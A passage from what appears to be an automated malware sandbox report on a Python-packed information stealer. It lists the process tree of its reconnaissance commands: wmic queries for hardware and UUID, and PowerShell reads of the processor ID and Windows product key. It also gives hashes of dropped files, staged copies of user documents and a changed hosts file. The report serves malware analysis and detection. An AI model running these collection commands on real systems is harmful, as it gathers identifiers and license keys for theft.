                                                                            4⤵
                                                                              PID:4440
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                            3⤵
                                                                              PID:1004
                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                wmic computersystem get totalphysicalmemory
                                                                                4⤵
                                                                                  PID:1632
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                3⤵
                                                                                  PID:4488
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic csproduct get uuid
                                                                                    4⤵
                                                                                      PID:216
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                    3⤵
                                                                                      PID:4812
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        PID:3540
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                      3⤵
                                                                                        PID:5032
                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                          wmic path win32_VideoController get name
                                                                                          4⤵
                                                                                          • Detects videocard installed
                                                                                          PID:4336
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                        3⤵
                                                                                          PID:4748
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                            4⤵
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            PID:4916
                                                                                    • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                      C:\Windows\System32\WaaSMedicAgent.exe 9f1b560172ae17697a69ad85028e9b0f /g/x9er69UGu7bOGmjsMxQ.0.1.0.0.0
                                                                                      1⤵
                                                                                        PID:2460

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                        Filesize

                                                                                        2KB

                                                                                        MD5

                                                                                        d85ba6ff808d9e5444a4b369f5bc2730

                                                                                        SHA1

                                                                                        31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                        SHA256

                                                                                        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                        SHA512

                                                                                        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        944B

                                                                                        MD5

                                                                                        e243a38635ff9a06c87c2a61a2200656

                                                                                        SHA1

                                                                                        ecd95ed5bf1a9fbe96a8448fc2814a0210fa2afc

                                                                                        SHA256

                                                                                        af5782703f3f2d5a29fb313dae6680a64134db26064d4a321a3f23b75f6ca00f

                                                                                        SHA512

                                                                                        4418957a1b10eee44cf270c81816ae707352411c4f5ac14b6b61ab537c91480e24e0a0a2c276a6291081b4984c123cf673a45dcedb0ceeef682054ba0fc19cb4

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        1KB

                                                                                        MD5

                                                                                        30ed5128bb54423e773344cbe346a2ba

                                                                                        SHA1

                                                                                        754e12aa7fd00e759099e53e7a64a04714030940

                                                                                        SHA256

                                                                                        cd17db206b8e8e720f1c36223bbc86c14aefc2f9a476e58ae03d9beee0223680

                                                                                        SHA512

                                                                                        1717e9e3911eff64e8a02cc1f82a70f2b9e33409b503e17622b7863f86e5b92aebe4c94568a02c02d0cae0bf783bca812c316c75bf3c1dd0855d8a0847dbc0b9

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        944B

                                                                                        MD5

                                                                                        8f659389c6e21eb0c627fbae833500c7

                                                                                        SHA1

                                                                                        ae632f1e4af08587934ff168155b30e2b28d7475

                                                                                        SHA256

                                                                                        a12763453f79453dd8f25f0c90d001ffb5d409ec698491666c9f076c6bc60d8c

                                                                                        SHA512

                                                                                        f4849e0b1d6ab3d4dd054f590a359af8dd1b9d3df2ad78033ad1a59ebafb1ca96aa76fa9061a466d74e8e3266dc882818d79db47908b21ca3ef8be20e427d327

                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                        Filesize

                                                                                        1KB

                                                                                        MD5

                                                                                        a28115a0b99e1628f4b22fe751626704

                                                                                        SHA1

                                                                                        f6c1a3bb1c46eea1d8ac31551e3b91b2004fc57e

                                                                                        SHA256

                                                                                        8fe0f9cb43d348eeb8de56f9ccca2ca5b787978f2e41b861bb04a5b134839f60

                                                                                        SHA512

                                                                                        7ee7051a3dbe621096dcf7c3b2c0ccd6c5ca30729bf3322597b74e8299c742a5653c73b9a7013a2565dc7a0da3de0af4a6fb4c38417748469983bf1117b16ee1

                                                                                      • C:\Users\Admin\AppData\Local\Temp\RESF7DD.tmp

                                                                                        Filesize

                                                                                        1KB

                                                                                        MD5

                                                                                        990d6398f9c4505c42733546c2d74304

                                                                                        SHA1

                                                                                        bf41d7cda4e1fdd38b5193f051b6f6f004d9ea4e

                                                                                        SHA256

                                                                                        62d83b7d2a5cde47bad4a91c5ad893899de2e290482ea1ca13705bca54177d1e

                                                                                        SHA512

                                                                                        5f352615c17f65879ddb06ae17e137f3bc07eb8205e074208e55555e107150066ebd553af3fffcc92f3cc9a878cd20a77eae664376f83fb6a04659eec895eb73

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\VCRUNTIME140.dll

                                                                                        Filesize

                                                                                        117KB

                                                                                        MD5

                                                                                        862f820c3251e4ca6fc0ac00e4092239

                                                                                        SHA1

                                                                                        ef96d84b253041b090c243594f90938e9a487a9a

                                                                                        SHA256

                                                                                        36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153

                                                                                        SHA512

                                                                                        2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_bz2.pyd

                                                                                        Filesize

                                                                                        48KB

                                                                                        MD5

                                                                                        58fc4c56f7f400de210e98ccb8fdc4b2

                                                                                        SHA1

                                                                                        12cb7ec39f3af0947000295f4b50cbd6e7436554

                                                                                        SHA256

                                                                                        dfc195ebb59dc5e365efd3853d72897b8838497e15c0977b6edb1eb347f13150

                                                                                        SHA512

                                                                                        ad0c6a9a5ca719d244117984a06cce8e59ed122855e4595df242df18509752429389c3a44a8ba0abc817d61e37f64638ccbdffc17238d4c38d2364f0a10e6bc7

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_ctypes.pyd

                                                                                        Filesize

                                                                                        62KB

                                                                                        MD5

                                                                                        79879c679a12fac03f472463bb8ceff7

                                                                                        SHA1

                                                                                        b530763123bd2c537313e5e41477b0adc0df3099

                                                                                        SHA256

                                                                                        8d1a21192112e13913cb77708c105034c5f251d64517017975af8e0c4999eba3

                                                                                        SHA512

                                                                                        ca19ddaefc9ab7c868dd82008a79ea457acd71722fec21c2371d51dcfdb99738e79eff9b1913a306dbedacb0540ca84a2ec31dc2267c7b559b6a98b390c5f3a7

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_decimal.pyd

                                                                                        Filesize

                                                                                        117KB

                                                                                        MD5

                                                                                        21d27c95493c701dff0206ff5f03941d

                                                                                        SHA1

                                                                                        f1f124d4b0e3092d28ba4ea4fe8cf601d5bd8600

                                                                                        SHA256

                                                                                        38ec7a3c2f368ffeb94524d7c66250c0d2dafe58121e93e54b17c114058ea877

                                                                                        SHA512

                                                                                        a5fbda904024cd097a86d6926e0d593b0f7e69e32df347a49677818c2f4cd7dc83e2bab7c2507428328248bd2f54b00f7b2a077c8a0aad2224071f8221cb9457

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_hashlib.pyd

                                                                                        Filesize

                                                                                        35KB

                                                                                        MD5

                                                                                        d6f123c4453230743adcc06211236bc0

                                                                                        SHA1

                                                                                        9f9ade18ac3e12bcc09757a3c4b5ee74cf5e794e

                                                                                        SHA256

                                                                                        7a904fa6618157c34e24aaac33fdf84035215d82c08eec6983c165a49d785dc9

                                                                                        SHA512

                                                                                        f5575d18a51207b4e9df5bb95277d4d03e3bb950c0e7b6c3dd2288645e26e1de8edcf634311c21a6bdc8c3378a71b531f840b8262db708726d36d15cb6d02441

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_lzma.pyd

                                                                                        Filesize

                                                                                        86KB

                                                                                        MD5

                                                                                        055eb9d91c42bb228a72bf5b7b77c0c8

                                                                                        SHA1

                                                                                        5659b4a819455cf024755a493db0952e1979a9cf

                                                                                        SHA256

                                                                                        de342275a648207bef9b9662c9829af222b160975ad8925cc5612cd0f182414e

                                                                                        SHA512

                                                                                        c5cba050f4b805a299f5d04ec0dce9b718a16bc335cac17f23e96519da0b9eaaf25ae0e9b29ef3dc56603bfe8317cdc1a67ee6464d84a562cf04bea52c31cfac

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_queue.pyd

                                                                                        Filesize

                                                                                        26KB

                                                                                        MD5

                                                                                        513dce65c09b3abc516687f99a6971d8

                                                                                        SHA1

                                                                                        8f744c6f79a23aa380d9e6289cb4504b0e69fe3b

                                                                                        SHA256

                                                                                        d4be41574c3e17792a25793e6f5bf171baeeb4255c08cb6a5cd7705a91e896fc

                                                                                        SHA512

                                                                                        621f9670541cac5684892ec92378c46ff5e1a3d065d2e081d27277f1e83d6c60510c46cab333c6ed0ff81a25a1bdc0046c7001d14b3f885e25019f9cdd550ed0

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_socket.pyd

                                                                                        Filesize

                                                                                        44KB

                                                                                        MD5

                                                                                        14392d71dfe6d6bdc3ebcdbde3c4049c

                                                                                        SHA1

                                                                                        622479981e1bbc7dd13c1a852ae6b2b2aebea4d7

                                                                                        SHA256

                                                                                        a1e39e2386634069070903e2d9c2b51a42cb0d59c20b7be50ef95c89c268deb2

                                                                                        SHA512

                                                                                        0f6359f0adc99efad5a9833f2148b066b2c4baf564ba16090e04e2b4e3a380d6aff4c9e7aeaa2ba247f020f7bd97635fcdfe4e3b11a31c9c6ea64a4142333424

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_sqlite3.pyd

                                                                                        Filesize

                                                                                        58KB

                                                                                        MD5

                                                                                        8cd40257514a16060d5d882788855b55

                                                                                        SHA1

                                                                                        1fd1ed3e84869897a1fad9770faf1058ab17ccb9

                                                                                        SHA256

                                                                                        7d53df36ee9da2df36c2676cfaea84ee87e7e2a15ad8123f6abb48717c3bc891

                                                                                        SHA512

                                                                                        a700c3ce95ce1b3fd65a9f335c7c778643b2f7140920fe7ebf5d9be1089ba04d6c298bf28427ca774fbf412d7f9b77f45708a8a0729437f136232e72d6231c34

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\_ssl.pyd

                                                                                        Filesize

                                                                                        66KB

                                                                                        MD5

                                                                                        7ef27cd65635dfba6076771b46c1b99f

                                                                                        SHA1

                                                                                        14cb35ce2898ed4e871703e3b882a057242c5d05

                                                                                        SHA256

                                                                                        6ef0ef892dc9ad68874e2743af7985590bb071e8afe3bbf8e716f3f4b10f19b4

                                                                                        SHA512

                                                                                        ac64a19d610448badfd784a55f3129d138e3b697cf2163d5ea5910d06a86d0ea48727485d97edba3c395407e2ccf8868e45dd6d69533405b606e5d9b41baadc0

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\base_library.zip

                                                                                        Filesize

                                                                                        1.3MB

                                                                                        MD5

                                                                                        a9cbd0455b46c7d14194d1f18ca8719e

                                                                                        SHA1

                                                                                        e1b0c30bccd9583949c247854f617ac8a14cbac7

                                                                                        SHA256

                                                                                        df6c19637d239bfedc8cd13d20e0938c65e8fdf340622ff334db533f2d30fa19

                                                                                        SHA512

                                                                                        b92468e71490a8800e51410df7068dd8099e78c79a95666ecf274a9e9206359f049490b8f60b96081fafd872ec717e67020364bcfa972f26f0d77a959637e528

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\blank.aes

                                                                                        Filesize

                                                                                        113KB

                                                                                        MD5

                                                                                        6e2f7c625bf21b7e8bdd3a1fa1cf0afb

                                                                                        SHA1

                                                                                        8025952efe3d0511c4e933fad75ddc5969624709

                                                                                        SHA256

                                                                                        48a9e14da03f6b7fdbcbed075db80a3430570a2d3a5d6430ae670762f34d4892

                                                                                        SHA512

                                                                                        9605fe1a4b61606bd98c82dd0c6a92afa21ebe91503619b9b6ac0b9a6fd4135f401dedbc3155361097dea7ed6a577f19a90530556faacaf38123e27adbd98c9e

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\libcrypto-3.dll

                                                                                        Filesize

                                                                                        1.6MB

                                                                                        MD5

                                                                                        8377fe5949527dd7be7b827cb1ffd324

                                                                                        SHA1

                                                                                        aa483a875cb06a86a371829372980d772fda2bf9

                                                                                        SHA256

                                                                                        88e8aa1c816e9f03a3b589c7028319ef456f72adb86c9ddca346258b6b30402d

                                                                                        SHA512

                                                                                        c59d0cbe8a1c64f2c18b5e2b1f49705d079a2259378a1f95f7a368415a2dc3116e0c3c731e9abfa626d12c02b9e0d72c98c1f91a359f5486133478144fa7f5f7

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\libffi-8.dll

                                                                                        Filesize

                                                                                        29KB

                                                                                        MD5

                                                                                        08b000c3d990bc018fcb91a1e175e06e

                                                                                        SHA1

                                                                                        bd0ce09bb3414d11c91316113c2becfff0862d0d

                                                                                        SHA256

                                                                                        135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

                                                                                        SHA512

                                                                                        8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\libssl-3.dll

                                                                                        Filesize

                                                                                        221KB

                                                                                        MD5

                                                                                        b2e766f5cf6f9d4dcbe8537bc5bded2f

                                                                                        SHA1

                                                                                        331269521ce1ab76799e69e9ae1c3b565a838574

                                                                                        SHA256

                                                                                        3cc6828e7047c6a7eff517aa434403ea42128c8595bf44126765b38200b87ce4

                                                                                        SHA512

                                                                                        5233c8230497aadb9393c3ee5049e4ab99766a68f82091fe32393ee980887ebd4503bf88847c462c40c3fc786f8d179dac5cb343b980944ade43bc6646f5ad5a

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\python313.dll

                                                                                        Filesize

                                                                                        1.8MB

                                                                                        MD5

                                                                                        6ef5d2f77064df6f2f47af7ee4d44f0f

                                                                                        SHA1

                                                                                        0003946454b107874aa31839d41edcda1c77b0af

                                                                                        SHA256

                                                                                        ab7c640f044d2eb7f4f0a4dfe5e719dfd9e5fcd769943233f5cece436870e367

                                                                                        SHA512

                                                                                        1662cc02635d63b8114b41d11ec30a2af4b0b60209196aac937c2a608588fee47c6e93163ea6bf958246c32759ac5c82a712ea3d690e796e2070ac0ff9104266

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\rar.exe

                                                                                        Filesize

                                                                                        615KB

                                                                                        MD5

                                                                                        9c223575ae5b9544bc3d69ac6364f75e

                                                                                        SHA1

                                                                                        8a1cb5ee02c742e937febc57609ac312247ba386

                                                                                        SHA256

                                                                                        90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

                                                                                        SHA512

                                                                                        57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\rarreg.key

                                                                                        Filesize

                                                                                        456B

                                                                                        MD5

                                                                                        4531984cad7dacf24c086830068c4abe

                                                                                        SHA1

                                                                                        fa7c8c46677af01a83cf652ef30ba39b2aae14c3

                                                                                        SHA256

                                                                                        58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

                                                                                        SHA512

                                                                                        00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\select.pyd

                                                                                        Filesize

                                                                                        25KB

                                                                                        MD5

                                                                                        fb70aece725218d4cba9ba9bbb779ccc

                                                                                        SHA1

                                                                                        bb251c1756e5bf228c7b60daea1e3b6e3f9f0ff5

                                                                                        SHA256

                                                                                        9d440a1b8a6a43cfaa83b9bc5c66a9a341893a285e02d25a36c4781f289c8617

                                                                                        SHA512

                                                                                        63e6db638911966a86f423da8e539fc4ab7eb7b3fb76c30c16c582ce550f922ad78d1a77fa0605caffa524e480969659bf98176f19d5effd1fc143b1b13bbaaf

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\sqlite3.dll

                                                                                        Filesize

                                                                                        643KB

                                                                                        MD5

                                                                                        21aea45d065ecfa10ab8232f15ac78cf

                                                                                        SHA1

                                                                                        6a754eb690ff3c7648dae32e323b3b9589a07af2

                                                                                        SHA256

                                                                                        a1a694b201976ea57d4376ae673daa21deb91f1bf799303b3a0c58455d5126e7

                                                                                        SHA512

                                                                                        d5c9dc37b509a3eafa1e7e6d78a4c1e12b5925b5340b09bee06c174d967977264c9eb45f146abed1b1fc8aa7c48f1e0d70d25786ed46849f5e7cc1c5d07ac536

                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI49242\unicodedata.pyd

                                                                                        Filesize

                                                                                        260KB

                                                                                        MD5

                                                                                        b2712b0dd79a9dafe60aa80265aa24c3

                                                                                        SHA1

                                                                                        347e5ad4629af4884959258e3893fde92eb3c97e

                                                                                        SHA256

                                                                                        b271bd656e045c1d130f171980ed34032ac7a281b8b5b6ac88e57dce12e7727a

                                                                                        SHA512

                                                                                        4dc7bd1c148a470a3b17fa0b936e3f5f68429d83d552f80051b0b88818aa88efc3fe41a2342713b7f0f2d701a080fb9d8ac4ff9be5782a6a0e81bd759f030922

                                                                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2b1umzvt.5q3.ps1

                                                                                        Filesize

                                                                                        60B

                                                                                        MD5

                                                                                        d17fe0a3f47be24a6453e9ef58c94641

                                                                                        SHA1

                                                                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                        SHA256

                                                                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                        SHA512

                                                                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                      • C:\Users\Admin\AppData\Local\Temp\wd1o33rh\wd1o33rh.dll

                                                                                        Filesize

                                                                                        4KB

                                                                                        MD5

                                                                                        640770ee0f0bb458dfc9a9f9b2e737f4

                                                                                        SHA1

                                                                                        a049accf29273e3ac5f3cc8deba68551ebf24f34

                                                                                        SHA256

                                                                                        7853ce5825c3d37e04db4f898253c537f023f29d561748e4638433e72b93b2c9

                                                                                        SHA512

                                                                                        281e1918d76b9192e5fc6ed7866112716364120ad5b6425f34c5abec22341b7ee4dc455a3cfe987f279a0293a5410d3bdfd29584abdf5409859fc12a9ebf18d0

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\ClearComplete.xlsx

                                                                                        Filesize

                                                                                        10KB

                                                                                        MD5

                                                                                        fa45c6079fdf66fadb31ec3ba5470ac0

                                                                                        SHA1

                                                                                        c8bc452d17dd5812b011f84f6660a5ad9d4d0538

                                                                                        SHA256

                                                                                        693ed772cfa2e6661d95e3be2e56c4f44af33fce2b49fb16234e37cfc42e21ec

                                                                                        SHA512

                                                                                        bd327cb9f4eedf763f02c442f729f1ef438eecedd25808d57b8bee5631f7f6e541f53062513bfd9cf816fde7c2f965af23a0620052544f60951073c817dc4f7d

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\EditApprove.docx

                                                                                        Filesize

                                                                                        15KB

                                                                                        MD5

                                                                                        b5f651e9640dce3907b10ace3f8c4c9d

                                                                                        SHA1

                                                                                        771db7fd5b1bbac8d5cbd77ba94ba19b2e11742e

                                                                                        SHA256

                                                                                        51c1752fd33ef7ab8aa9c1459905d4ea6c71adbfe1ecd6f5c2e6fad40ff6162c

                                                                                        SHA512

                                                                                        e296d1bed77ffb6c6d81448355fbf4f38013183dafa65d23225c6b65898ac3bd2f85e6694bd9041d347615ecba9fda88d7db037f29e064c0a36e8fdf9ceda252

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\EnterBackup.inf

                                                                                        Filesize

                                                                                        295KB

                                                                                        MD5

                                                                                        fc0cf3ead0513eb49a02419f453f4cf1

                                                                                        SHA1

                                                                                        4f668dc820c3a660e8ecce0f153bda115d04b291

                                                                                        SHA256

                                                                                        12a68728cc48e12e6bf057a52d8f172a6fe1c46cd3224754c16fe2de4b8653da

                                                                                        SHA512

                                                                                        4065b7ea5f634f3c69f53f1386d93ad45375a4a345f570ca376ffb216fc0c9bdc297807548d2f096d66dbec5397a27f0036bbc410b4f6a530755cecb7fa0d688

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\ExportSave.xlsx

                                                                                        Filesize

                                                                                        10KB

                                                                                        MD5

                                                                                        a3ccd63b00aff72a69327dab4fa9660f

                                                                                        SHA1

                                                                                        0a4238074ffea2b4b7fb58e83ee82c2aab3cd29f

                                                                                        SHA256

                                                                                        15f09e935de2b97ad1af8003b13a08346691cb35b1ecab81a77918635b6cb755

                                                                                        SHA512

                                                                                        ceac18e75e49ceb26594e92bed988ad755f777f7d2c99ececefbeb783aede89fbe397b672af2c94b883d2ebbc8a50a30111e46408a7f6d98301a5da909c7cf6b

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\ProtectUndo.mp4

                                                                                        Filesize

                                                                                        499KB

                                                                                        MD5

                                                                                        b156d04d214a3d527417e03dde059ee5

                                                                                        SHA1

                                                                                        98be8f088cb5e64ca83f18b6cadce9badcb64cb0

                                                                                        SHA256

                                                                                        557540ae84e85263cc567c61efff53f6a2b3bd1fb8848314dd7b23fb547b7f84

                                                                                        SHA512

                                                                                        aab3a86336ad65952b52725c32847e5c584c2877ff5e0d6042d9c5808e208061bb401053772ad94f21213fb22d80935176c891a1b162e8ff9e2fe5e35a40ae51

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\ShowDisconnect.png

                                                                                        Filesize

                                                                                        568KB

                                                                                        MD5

                                                                                        ca65d05ad62d5e790883f12a4cbe039c

                                                                                        SHA1

                                                                                        185e260beaeef65565b244ea53c747e9b4b77de1

                                                                                        SHA256

                                                                                        e9d872df8fe4713a677768dff9668def49464be57a6597718cf9d2d6851af240

                                                                                        SHA512

                                                                                        3366c6c4b4943432acb453b0a6b74cf39ef3f2ba04ee82e4f6f644a3e988cbe6ebd9b2462b8bfc0facc70871ff4b12a1ec0083c6266ae340a52e31f6270200a9

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\TraceSwitch.xlsx

                                                                                        Filesize

                                                                                        14KB

                                                                                        MD5

                                                                                        19f1979f85e19682c8c10b82a92715e8

                                                                                        SHA1

                                                                                        f4e86f932c9d5814d5d184b747a22b4593ed341f

                                                                                        SHA256

                                                                                        0e5e38075798992ef6dc604e5ce34b91d518f79b13184c946e7300c8c7ee219c

                                                                                        SHA512

                                                                                        55f0a848b48586dfc342eb2c41fafcff2a540bd9cf26f293a78f483552f58949bfd33d9a68f689dfb9901e37892de4184d3d58b1bd3ad125080e553be7907263

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\UseOpen.csv

                                                                                        Filesize

                                                                                        386KB

                                                                                        MD5

                                                                                        ee9fd1015473ff498f65875cae56bdc6

                                                                                        SHA1

                                                                                        c2d07c584bb89518c96ace77109c3c62420655fb

                                                                                        SHA256

                                                                                        25d6f1d28f82b69713ac0b3e7dde23d8415ab9cf5dda9ebf0c1430a160ad1f15

                                                                                        SHA512

                                                                                        0485f866878a2ce011e32cc81a25e597804f9c8d76a599d5348904d86df36b52929ca9838d58b05a99fd853892be1c9219aee37b746a47330f8236c7e81fc842

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Desktop\WriteWait.pdf

                                                                                        Filesize

                                                                                        545KB

                                                                                        MD5

                                                                                        29de71566a3082e85fc2576ab89ab5e4

                                                                                        SHA1

                                                                                        c52445f47e7afaec779d4adc1b9b3f10cbd59a4a

                                                                                        SHA256

                                                                                        0e5632fd025858ff2ac5607ae9c9bfd29c340d7a075c45c8b7c29465cd742eaf

                                                                                        SHA512

                                                                                        aef9ad10f1afd1ae25bd41b9d12d64cba080fba86c3f57e4f6e7fba548c4332656e1177c6a390a641574bec2262d72adfb0eff628fc82bbf849f773c1cfbd0ee

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Documents\BackupLock.dotm

                                                                                        Filesize

                                                                                        515KB

                                                                                        MD5

                                                                                        29012fd3928f20eb3521d77a5df4c4f5

                                                                                        SHA1

                                                                                        1d4c3745840113d6e7a7aff64d3bc9266e62dd0c

                                                                                        SHA256

                                                                                        e984cd22bb32237226fc6ccc375a0e78310704947c0f715a1dda480cc3b74ccf

                                                                                        SHA512

                                                                                        b884c7479fdc80ce7ef6b0f3b0af320ed433a44548be96e62d4fd34b9be17a8111b4edfa11bed321127d8288edb552a92463fcfba411773ac0e995ebca0e8226

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Documents\ConvertFromMount.csv

                                                                                        Filesize

                                                                                        364KB

                                                                                        MD5

                                                                                        5baaf733bac885c3dd9f83027f0a5b9a

                                                                                        SHA1

                                                                                        6de41395bb1d1b788ee52d60cfa4582b90568ee9

                                                                                        SHA256

                                                                                        be0d51d9cee5c02ea970c6a0c49445d437e13d60ef3c9da66317294edf2b0618

                                                                                        SHA512

                                                                                        bfa072a714cf1b9b306c006603bfce46211fb733d9c4d326be4d00e17d37da3b8431ea54e6e09a0c2a6ef288b3b66a3c285c96a77aee16bd7be5e4d2d63f99fe

                                                                                      • C:\Users\Admin\AppData\Local\Temp\  ​     ‍‎\Common Files\Documents\DisconnectWait.xlsx

                                                                                        Filesize

                                                                                        14KB

                                                                                        MD5

                                                                                        9804300e15b49c59b2eab44dba26a91f

                                                                                        SHA1

                                                                                        12687967d9e422fc73b3eb37878b4d62be5f7f72

                                                                                        SHA256

                                                                                        d60e7e4311814f79b4ccc4b36202e70a78e8725e9444704d6cb0a4dbaf4a18f5

                                                                                        SHA512

                                                                                        953c6bac10b562c781f74652ebe7cf212f224d944f48a3c13805304eeb861c3786ae98199a970a4007c96925d6ec773f2ee134f975325d2129f04f6ab90cf3b9

                                                                                      • C:\Windows\System32\drivers\etc\hosts

                                                                                        Filesize

                                                                                        2KB

                                                                                        MD5

                                                                                        f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                        SHA1

                                                                                        e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                        SHA256

                                                                                        a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                        SHA512

                                                                                        c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\wd1o33rh\CSC19D69DE6314DB58EA26D2D599D98CA.TMP

                                                                                        Filesize

                                                                                        652B

                                                                                        MD5

                                                                                        8373309ac2c9ff911ca278c23a3029ca

                                                                                        SHA1

                                                                                        c3b53de846c3786442e0b66d5d759956f4b6fc67

                                                                                        SHA256

                                                                                        ddf41333e92912f7dc802bcdb0f8c03fde20698d401dc8b82ee38f623045b8dc

                                                                                        SHA512

                                                                                        7d1b710763d4ce22a35b9c794fc785a08687d7f66884967239c57571b17ac180e98b58b5d3f04a7ccf010daad83b3170223b616c6a9fc328bf1b06c527dc5001

                                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\wd1o33rh\wd1o33rh.0.cs

                                                                                        Filesize

